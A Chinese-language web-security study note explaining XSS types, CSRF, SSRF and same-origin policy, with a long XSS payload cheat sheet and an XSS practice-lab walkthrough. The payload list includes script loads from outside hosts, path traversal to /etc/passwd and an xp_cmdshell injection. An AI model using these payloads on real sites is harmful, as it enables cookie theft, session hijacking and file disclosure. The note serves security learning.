XSS 漏洞 1.简介 :跨站脚本攻击,是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。 xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数
xss 分类:(三类)
反射型XSS:**<非持久化>** 攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。
存储型XSS:**<持久化>** 代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行,这种XSS非常危险,容易造成蠕虫,大量盗窃cookie(虽然还有种DOM型XSS,但是也还是包括在存储型XSS内)。
DOM型XSS:基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞。
常用的payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 1'"()&%<acx > <ScRiPt > prompt(915149)</ScRiPt > <svg/onload=alert(1)> <script > alert(document .cookie) </script > '><script > alert(document .cookie) </script > ='><script > alert(document .cookie) </script > <script > alert(vulnerable)</script > %3Cscript%3Ealert('XSS')%3C/script%3E <script > alert('XSS' ) </script > <img src ="javascript:alert('XSS')" > %0a%0a<script > alert(\"Vulnerable\")</script > .jsp %22%3cscript%3ealert(%22xss%22)%3c/script%3e %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini %3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e %3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e %3cscript%3ealert(%22xss%22)%3c/script%3e/index.html <script > alert('Vulnerable' ); </script > <script > alert('Vulnerable' ) </script > a.jsp/<script > alert('Vulnerable' ) </script > a?<script > alert('Vulnerable' ) </script > "><script > alert('Vulnerable' ) </script > ';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&& %22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E %3Cscript%3Ealert(document. domain);%3C/script%3E& %3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID= <IMG src ="javascript:alert('XSS');" > <IMG src =javascript:alert( 'XSS ')> <IMG src =JaVaScRiPt:alert( 'XSS ')> <IMG src =JaVaScRiPt:alert( "XSS ")> <IMG src =javascript:alert( 'XSS ')> <IMG src =javascript:alert( 'XSS ')> <IMG src =javascript:alert( 'XSS ')> <IMG src ="jav ascript:alert('XSS');" > <IMG src ="jav ascript:alert('XSS');" > <IMG src ="jav ascript:alert('XSS');" > "<IMG src =java\0script:alert(\ "XSS \")> ";' > out <IMG src =" javascript:alert('XSS');" > <SCRIPT > a=/XSS/ alert(a.source) </SCRIPT > <BODY BACKGROUND ="javascript:alert('XSS')" > <BODY ONLOAD =alert( 'XSS ')> <IMG DYNSRC ="javascript:alert('XSS')" > <IMG LOWSRC ="javascript:alert('XSS')" > <BGSOUND src ="javascript:alert('XSS');" > <br size ="&{alert('XSS')}" > <LAYER src ="http://xss.ha.ckers.org/a.js" > </layer > <LINK REL ="stylesheet" href ="javascript:alert('XSS');" > <IMG src ='vbscript:msgbox("XSS")' > <IMG src ="mocha:[code]" > <IMG src ="livescript:[code]" > <META HTTP-EQUIV ="refresh" CONTENT ="0;url=javascript:alert('XSS');" > <IFRAME src =javascript:alert( 'XSS ')> </IFRAME > <FRAMESET > <FRAME src =javascript:alert( 'XSS ')> </FRAME > </FRAMESET > <TABLE BACKGROUND ="javascript:alert('XSS')" > <DIV STYLE ="background-imag url(javascript:alert('XSS'))" > <DIV STYLE ="behaviour: url('http://www.how-to-hack.org/exploit.html');" > <DIV STYLE ="width: expression(alert('XSS'));" > <STYLE > @im\port'\ja\vasc\ript:alert("XSS")';</STYLE > <IMG STYLE ='xss:expre\ssion(alert("XSS"))' > <STYLE TYPE ="text/javascript" > alert('XSS');</STYLE > <STYLE TYPE ="text/css" > .XSS {background -imagurl("javascript:alert ('XSS' )");} </STYLE > <A class ="XSS" > </A > <STYLE type ="text/css" > BODY {background :url ("javascript:alert('XSS' )")} </STYLE > <BASE href ="javascript:alert('XSS');//" > getURL("javascript:alert('XSS')") a="get";b="URL";c="javascript:";d="alert('XSS');";eval(a+b+c+d); <XML src ="javascript:alert('XSS');" > "> <BODY > <SCRIPT > function a ( ) {alert('XSS' );}</SCRIPT > <" <SCRIPT src ="http://xss.ha.ckers.org/xss.jpg" > </SCRIPT > <IMG src ="javascript:alert('XSS')" <!-- #exec cmd ="/bin/echo '<SCRIPT SRC'" -- > <IMG src ="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode" > <SCRIPT a =">" src ="http://xss.ha.ckers.org/a.js" > </SCRIPT > <SCRIPT =">" src ="http://xss.ha.ckers.org/a.js" > </SCRIPT > <SCRIPT a =">" '' src ="http://xss.ha.ckers.org/a.js" > </SCRIPT > <SCRIPT "a ='>' " src ="http://xss.ha.ckers.org/a.js" > </SCRIPT > <SCRIPT > document .write("<SCRI" );</SCRIPT > PT src="http://xss.ha.ckers.org/a.js"></SCRIPT > <A href =http://www.gohttp://www.google.com/ogle.com/ > link</A > <IMG SRC =javascript:alert(‘XSS’) > <IMG SRC =# onmouseover =”alert(‘xxs’)” > <IMG SRC =/ onerror =”alert(String.fromCharCode(88,83,83))” > </img > <img src =x onerror =”javascript:alert('XSS')″ > <IMG SRC =javascript:alert( ' ;X ;S ;S ;' ;) ;> <IMG SRC =javascript:alert('XSS') > <IMG SRC =”jav ascript:alert (‘XSS ’);”> <IMG SRC =”jav
ascript:alert(‘XSS’);” > <IMG SRC =”  ; javascript:alert (‘XSS ’);”> <<SCRIPT > alert(“XSS”); </SCRIPT > <IMG SRC =”javascript:alert(‘XSS’)” </script > <script > alert(‘XSS’);</script > <INPUT TYPE =”IMAGE” SRC =”javascript:alert(‘XSS’);” > <BODY BACKGROUND =”javascript:alert(‘XSS’)” > <svg/onload=alert('XSS')> <IMG SRC =’vbscript:msgbox(“XSS”)’ > <BGSOUND SRC ="javascript:alert('XSS');" > <BR SIZE ="&{alert('XSS')}" > <LINK REL ="stylesheet" HREF ="javascript:alert('XSS');" > <STYLE > @im\port'\ja\vasc\ript:alert("XSS")';</STYLE > <IMG STYLE ="xss:expr/*XSS*/ession(alert('XSS'))" > <STYLE > .XSS {background -imagurl("javascript:alert ('XSS' )");} </STYLE > <A CLASS =XSS > </A > <STYLE type ="text/css" > BODY {background :url ("javascript:alert('XSS' )")} </STYLE > <XSS STYLE ="behavior: url(xss.htc);" > <IFRAME SRC ="javascript:alert('XSS');" > </IFRAME > <FRAMESET > <FRAME SRC ="javascript:alert('XSS');" > </FRAMESET > <TABLE > <TD BACKGROUND ="javascript:alert('XSS')" > <DIV STYLE ="width: expression(alert('XSS'));" > <SCRIPT a =">" SRC ="httx://xss.rocks/xss.js" > </SCRIPT > <script > alert(/xss/ ) </script > <svg onload =alert(document.domain) > <img src =document.domain onerror =alert(document.domain) > <M onmouseover =alert(document.domain) > M <marquee onscroll =alert(document.domain) > <a href =javascript:alert(document.domain) > M</a > <body onload =alert(document.domain) > <details open ontoggle =alert(document.domain) > <embed src =javascript:alert(document.domain) > <script > alert(1)</script > <sCrIpT > alert(1)</sCrIpT > <ScRiPt > alert(1)</ScRiPt > <sCrIpT > alert(1)</ScRiPt > <ScRiPt > alert(1)</sCrIpT > <img src =1 onerror =alert(1) > <iMg src =1 oNeRrOr =alert(1) > <ImG src =1 OnErRoR =alert(1) > <img src =1 onerror ="alert(" M" )" > <marquee onscroll =alert(1) > <mArQuEe OnScRoLl =alert(1) > <MaRqUeE oNsCrOlL =alert(1) > <a href =javascript:/0/,alert(%22M%22) > M</a > <a href =javascript:/00/,alert(%22M%22) > M</a > <a href =javascript:/000/,alert(%22M%22) > M</a > <a href =javascript:/M/,alert(%22M%22) > M</a > <base href =javascript:/M/ > <a href =,alert(1) > M</a > <base href =javascript:/M/ > <iframe src =,alert(1) > </iframe > </textarea > <script > var a=1 </script > "><img src =x onerror =alert(document.cookie) > .gif <div style ="background-imagurl(javascript:alert(/xss/))" > <STYLE > @import'http://ha.ckers.org/xss.css';</STYLE > <iframe src =javascript:alert(1) > </iframe > <iframe src ="data:text/html,<iframe src=javascript:alert('M')></iframe>" > </iframe > <iframe src =data:text/html;base64,PGlmcmFtZSBzcmM9amF2YXNjcmlwdDphbGVydCgiTWFubml4Iik+PC9pZnJhbWU+ > </iframe > <iframe srcdoc =<svg /o n ;load &equals ;alert &lpar ;1 )> ;> </iframe > <iframe src =https://baidu.com width =1366 height =768 > </iframe > <iframe src =javascript:alert(1) width =1366 height =768 > </iframe <form action =javascript:alert(1) > <input type =submit > <form > <button formaction =javascript:alert(1) > M <form > <input formaction =javascript:alert(1) type =submit value =M > <form > <input formaction =javascript:alert(1) type =image value =M > <form > <input formaction =javascript:alert(1) type =image src =1 > <META HTTP-EQUIV ="Link" Content ="<http://ha.ckers.org/xss.css>; REL=stylesheet" >
XSS靶场 1.关
无过滤直接<script>alert(1)</script>
2.关
过滤了尖括号
①提前闭合input标签 "><script>alert(1)</script>
,相当于<input”>后面无内容②使用不带中括号的标签onmouseover,语法 onmouseover=要接的js语句。"onmouseover=alert(xss)//
(双反斜杠为了注释后面的语句,该函数为鼠标经过时触发)
②使用不带中括号的标签onmouseover,语法 onmouseover=要接的js语句。”onmouseover=alert(xss)//(双反斜杠为了注释后面的语句,该函数为鼠标经过时触发)
3.关
过滤了中括号,且提前闭合input失败 ,尝试用不带中括号的标签弹窗
单引号闭合 'onmouseover=alert(1)//
或者
‘onfocus=alert(9)//
‘onclick=alert(9)//`
4.关
过滤尖括号,双引号闭合; =后面加不加javascript:不影响语句执行 "onmouseover=alert(1)//
同第二关或者"onfocus=alert(1) //
"onclick=alert(1)//
5.关
有破坏语句,r变成r_. 尝试大小写和双写绕过
">****<a HREF=javascript:alert(1)//
或者">***<Script>alert('xss')</script>//
大小写绕过成功
7.关
过滤较多,源码
尝试 :
大小写绕过已经失败,试试双写">xss<sscriptcript>alert(1)</sscriptcript>//
或者 "><a hhrefref=javasscriptcript:alert(1)//
等等 成功
8.关
有破坏语句行为,试试大小写和双写绕过,均失败
中括号还可以用,只是r变成了r_,在线编码转为unicode, javascript变成javascript 所以语句变成javascript:alert(2)//unicode:统一码,也叫万国码、单一码(Unicode)是计算机科学领域里的一项业界标准,包括字符集、编码方案等。Unicode 是为了解决传统的字符编码方案的局限而产生的,它为每种语言中的每个字符设定了统一并且唯一的二进制编码,以满足跨语言、跨平台进行文本转换、处理的要求
9.关
所以在语句后面加个合法链接,这里javascript依旧转译,javascript:alert(1) http://www.baidu.com//
之后果然不再显示非法,然后我们把百度网址注释掉 javascript:alert(1) //http://www.baidu.com//
10.关
Get框框 被隐藏了不再是默认的keyword,所以要手动输入 前两个 name无效,第三个有效 ,test&t_sort="type="text" onfocus = alert(1)
或者 test &t_sort="type=text" onfocus = alert(1)//
在源码中是这个样子的。(在URL中还可以这样输入: ?t_sort=XXX “type XXX onmouseover=alert(1)// )
11.关 (改refere)
PHP源码,发现有refer函数,但在下面的表单中又被转译
首先,从代码可以发现,过滤了尖括号与使用了htmlspecialchars函数,t_sort的值来自 上一个连接跳转的地址,所以我们直接抓包把referer里绕过,23&t_sort=”type=”text” onclick=”alert(1)
在第十关完成的瞬间,我们使用burp抓取数据包 然后修改referer这一栏的为我们的payload,payload可以与第十关的相同,可以发现顺利进入了第十一关,并且也有弹出一个输入的text格式框 此时只要点击一下那个text输入框,我们就能顺利通关!
12.关 (改User-Agent) 我们按照上一次11关的过关实验方法,修改 user-agent 来试试xss,发现同样的方法也是OK的,即:在11关过关的时候抓包,修改我们的User-Agent头,然后直接在burp里改为如下payload即可:
1 keyword=123&t_sort="type="text" onclick="alert(1)
13.关 (改cookie)
通过第11、12关的经验,我们已经成功地破解了其中的奥义,就是根据代码从各个地方注入xss语句,现在继续观察一下第13关的代码 在第12关快通过时抓包,修改增加一个cookie,并添加内容为user=payload即可! 放行数据包,顺利通关
14.关 加载异常
15.关 (文件包含)
发现没有什么表单可以利用了,但是有一个<img>
标签可以利用
使用 <img src=1 onerror=alert (1)>
,意思先执行 1 位置的东西,如果有错误就输出后面的东西,就是一个报错语句。但是src后面要接地址才是正确的语法,所以它一定会报错,所以就会执行我们的恶意代码
16.关
同十五关
或者
但是在HTML中可以将%0a或者%0D当成空格使用所以我们直接在URL后面接 <a%0Ahref='javas%0Acript:alert("xss")'>
17.关 :flash有问题18,19,20
题外话小插曲 CSRF 漏洞 1.简介: 跨站请求伪造,攻击者盗用了你的身份,以你的名义发送恶意请求。CSRF能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账……造成的问题包括:个人隐私泄露以及财产安全
发生条件: 1、登录受信任网站A,并在本地生成Cookie。 2、在不登出A的情况下,访问危险网站B。
SSRF 漏洞 1.简介: 服务器端请求伪造,由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统) 危害: 1、可对内网,服务器所在内网,受控服务器进行端口扫描,获取一些banner 2、对内网web应用进行指纹识别,通过访问默认文件实现。 3、攻击内外网web应用,主要是使用get参数就可以实现分攻击。 4、利用file协议读取本地文件。
CSRF与SSRF的区别 CSRF 是客户端发送的请求,SSRF 是服务器端向另一个服务器发送的请求
SOP同源策略 几个页面的协议、主机名、端口相同,那么就认为这些页面是同源的。
如果非同源,共有三种行为受到限制
1、限制 cookies、DOM 和 Javascript 的命名区域限制
2、iframe、图片等各种资源的内容操作限制
3、ajax 请求,准确来说是限制操作 ajax 响应结果,本质上跟上一条是一样的
同源策略没有禁止脚本的执行,而是禁止读取 HTTP 回复。因此会发现,同源策略的作用其实很有限,它不能防护CSRF。因为CSRF(Cross-site request forgery)跨站请求伪造,是一种常见的攻击方式。是指 A 网站正常登陆后,cookie 正常保存,其他网站 B 通过某种方式调用 A 网站接口进行操作,A 的接口在请求时会自动带上 cookie。
上面说了,SOP 可以通过 html tag 加载资源,而且 SOP 不阻止接口请求而是拦截请求结果,CSRF 恰恰占了这两个便宜